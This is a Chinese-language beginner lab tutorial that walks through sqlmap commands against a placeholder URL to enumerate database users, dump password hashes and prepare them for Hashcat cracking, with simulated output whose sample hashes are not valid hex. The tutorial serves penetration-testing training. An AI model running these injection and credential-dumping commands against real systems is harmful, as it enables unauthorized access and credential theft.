使用 sqlmap 枚举数据库用户和密码哈希

Kali LinuxBeginner
立即练习

引言

在本实验中,你将探索 sqlmap 的功能。sqlmap 是一款开源的渗透测试工具,可以自动化检测和利用 SQL 注入漏洞,并接管数据库服务器。具体来说,你将学习如何枚举数据库用户以及尝试从目标数据库中转储密码哈希。这是许多渗透测试中的关键步骤,因为获取用户凭据可能导致进一步的系统被攻破。你将使用一个模拟的易受攻击的 Web 应用程序,在一个受控的环境中练习这些技术。

获取立足点并确认足够权限

在此步骤中,你将首先识别潜在的 SQL 注入漏洞,并确认 sqlmap 可以成功与目标数据库进行交互。此初步检查对于确保你已获得“立足点”以及当前用户拥有执行进一步枚举的足够权限至关重要。

首先,打开你的终端。默认工作目录是 /home/labex/project

我们将使用一个占位符 URL 来模拟一个易受攻击的 Web 应用程序。在实际场景中,你将通过侦察和漏洞扫描来识别此 URL。在本实验中,我们假设目标是 http://example.com/vulnerable.php?id=1

执行以下 sqlmap 命令来测试 SQL 注入并收集数据库的基本信息。-u 标志指定目标 URL,--current-user 则尝试检索当前数据库用户。

sqlmap -u "http://example.com/vulnerable.php?id=1" --current-user

你将看到类似以下的输出,表明 sqlmap 正在测试各种注入点并确认当前用户:

        _
       ___| |_____ ___ ___ ___ {1.7.10#stable}
      |_ -| . |     | .'| . |
      |___|_|_|_|_|_|__,|  _|
                         |_|   http://sqlmap.org

[INFO] starting @ 12:34:56 /2023-10-27/

... (各种测试和信息) ...

[INFO] the back-end DBMS is MySQL
current user: 'root@localhost'

输出 current user: 'root@localhost' 表明 sqlmap 已成功识别出当前的数据库用户。这是一个好迹象,因为 root 用户通常拥有高权限,这对于转储用户和哈希是必需的。

使用 --users 标志列出所有数据库用户

在此步骤中,你将使用 sqlmap 中的 --users 标志来枚举所有数据库用户。在确认 SQL 注入漏洞和足够权限后,这是常见的下一步操作。了解数据库用户可以为进一步的攻击或理解数据库结构提供有价值的信息。

继续在你的终端中操作。

执行以下 sqlmap 命令。--users 标志指示 sqlmap 列出数据库中的所有用户。

sqlmap -u "http://example.com/vulnerable.php?id=1" --users

sqlmap 将执行其测试,然后尝试检索数据库用户的列表。你应该会看到类似以下的输出:

        _
       ___| |_____ ___ ___ ___ {1.7.10#stable}
      |_ -| . |     | .'| . |
      |___|_|_|_|_|_|__,|  _|
                         |_|   http://sqlmap.org

[INFO] starting @ 12:34:56 /2023-10-27/

... (各种测试和信息) ...

[INFO] fetching database users
[INFO] retrieved database users:
[+] 'root@localhost'
[+] 'admin@localhost'
[+] 'webuser@localhost'

[INFO] retrieved 3 database user(s)

此输出显示 sqlmap 成功枚举了三个数据库用户:root@localhostadmin@localhostwebuser@localhost。这些信息对于下一步尝试转储他们的密码哈希至关重要。

使用 --passwords 标志尝试转储密码哈希

在此步骤中,你将通过尝试转储与已枚举数据库用户关联的密码哈希来升级你的攻击。这通常是 SQL 注入攻击的最终目标,因为这些哈希随后可以离线破解以获取明文密码。

继续在你的终端中操作。

执行以下 sqlmap 命令。--passwords 标志指示 sqlmap 检索所有数据库用户的密码哈希。

sqlmap -u "http://example.com/vulnerable.php?id=1" --passwords

sqlmap 现在将尝试提取密码哈希。此过程可能需要一些时间,具体取决于数据库的大小和复杂性。你应该会看到类似以下的输出,显示检索到的用户及其对应的密码哈希:

        _
       ___| |_____ ___ ___ ___ {1.7.10#stable}
      |_ -| . |     | .'| . |
      |___|_|_|_|_|_|__,|  _|
                         |_|   http://sqlmap.org

[INFO] starting @ 12:34:56 /2023-10-27/

... (各种测试和信息) ...

[INFO] fetching database users password hashes
[INFO] retrieved database users password hashes:
[+] 'root@localhost': *A4A6B7C8D9E0F1G2H3I4J5K6L7M8N9O0P1Q2R3S4
[+] 'admin@localhost': *B5C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3
[+] 'webuser@localhost': *C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3U4

[INFO] retrieved 3 database user(s) password hash(es)

输出显示了用户名及其关联的密码哈希。这些哈希通常以特定于数据库系统的格式存储(例如,MySQL 的 * 前缀哈希,或其他各种哈希算法)。这些哈希现在已准备好进行离线破解。

执行枚举并分析结果

在此步骤中,你将组合之前的命令,在一次 sqlmap 执行中完成用户及其密码哈希的完整枚举。这是收集所有所需信息的更有效方式。你还将分析输出以了解检索数据的结构。

继续在你的终端中操作。

执行以下 sqlmap 命令,组合 --users--passwords 标志:

sqlmap -u "http://example.com/vulnerable.php?id=1" --users --passwords

sqlmap 将运行其过程,首先枚举用户,然后尝试检索他们的密码哈希。输出将整合信息,类似于你在先前步骤中看到的内容,但会一起呈现。

        _
       ___| |_____ ___ ___ ___ {1.7.10#stable}
      |_ -| . |     | .'| . |
      |___|_|_|_|_|_|__,|  _|
                         |_|   http://sqlmap.org

[INFO] starting @ 12:34:56 /2023-10-27/

... (各种测试和信息) ...

[INFO] fetching database users
[INFO] retrieved database users:
[+] 'root@localhost'
[+] 'admin@localhost'
[+] 'webuser@localhost'

[INFO] fetching database users password hashes
[INFO] retrieved database users password hashes:
[+] 'root@localhost': *A4A6B7C8D9E0F1G2H3I4J5K6L7M8N9O0P1Q2R3S4
[+] 'admin@localhost': *B5C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3
[+] 'webuser@localhost': *C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3U4

[INFO] retrieved 3 database user(s) password hash(es)

分析结果:

  • 用户 (Users): 你可以清楚地看到数据库用户的列表。
  • 哈希 (Hashes): 每个用户都关联着一个密码哈希。这些哈希的格式取决于数据库系统及其配置。例如,MySQL 的哈希通常以星号 (*) 开头。

这个组合命令可以一次性高效地收集这两种信息。

讨论使用哈希进行离线密码破解的后续步骤

在此最终步骤中,你将了解成功转储密码哈希的意义,并讨论接下来的逻辑步骤:离线密码破解。虽然 sqlmap 帮助你检索哈希,但它本身不破解哈希。这通常是使用专用工具完成的。

你已成功检索到类似以下的密码哈希:

  • *A4A6B7C8D9E0F1G2H3I4J5K6L7M8N9O0P1Q2R3S4 (针对 root@localhost)
  • *B5C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3 (针对 admin@localhost)
  • *C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3U4 (针对 webuser@localhost)

这些哈希不是实际的密码,而是它们的加密表示。要获取明文密码,你通常会使用 HashcatJohn the Ripper 等工具。

离线密码破解流程:

  1. 识别哈希类型: 第一步是识别哈希的类型。sqlmap 通常会提供提示(例如,“MySQL password hash”)。Hashcat 等工具针对各种哈希类型有不同的模式。
  2. 保存哈希: 将检索到的哈希保存到文件中,每行一个哈希。例如,你可以在 ~/project 目录中创建一个名为 hashes.txt 的文件:
    *A4A6B7C8D9E0F1G2H3I4J5K6L7M8N9O0P1Q2R3S4
    *B5C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3
    *C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3U4
  3. 选择破解工具:
    • Hashcat: 一个强大且快速的密码破解器,通常与 GPU 一起使用。
    • John the Ripper (JtR): 另一个流行且通用的密码破解器。
  4. 选择破解方法:
    • 字典攻击 (Dictionary Attack): 使用常用密码列表(字典)并对每个单词进行哈希处理,然后与目标哈希进行比较。
    • 暴力破解 (Brute-Force Attack): 系统地尝试所有可能的字符组合,直到找到匹配项。对于长密码或复杂密码,这会非常耗时。
    • 混合攻击 (Hybrid Attack): 结合字典攻击和暴力破解方法。
  5. 执行破解: 使用哈希文件和选定的破解方法运行所选工具。例如,使用 Hashcat 处理 MySQL 哈希(模式 300):
    ## This command is for illustrative purposes and will not be executed in this lab.
    ## hashcat -m 300 hashes.txt /usr/share/wordlists/rockyou.txt --force
    (注意:rockyou.txt 是一个常用的字典文件,在 Kali Linux 或类似发行版的 /usr/share/wordlists/ 目录下很常见。它可能需要解压缩。)

成功破解将揭示明文密码,然后可以使用这些密码获得对数据库或凭据可能被重复使用的其他系统的进一步访问。这突显了强壮、唯一的密码以及适当的哈希算法对安全的重要性。

总结

在此实验中,你成功学会了如何使用 sqlmap 从模拟的易受攻击的 Web 应用程序中枚举数据库用户并转储其密码哈希。你首先获得了立足点并确认了足够的权限,然后使用 --users 标志列出了所有数据库用户,最后尝试使用 --passwords 标志转储密码哈希。你还学会了如何组合这些操作以提高效率,并分析了输出。

了解如何提取这些敏感信息是渗透测试中的一项关键技能。检索到的密码哈希是下一阶段的关键:离线密码破解,它可以揭示明文凭据,并可能导致更深层次的系统泄露。此实验提供了使用强大的道德黑客工具的实践经验。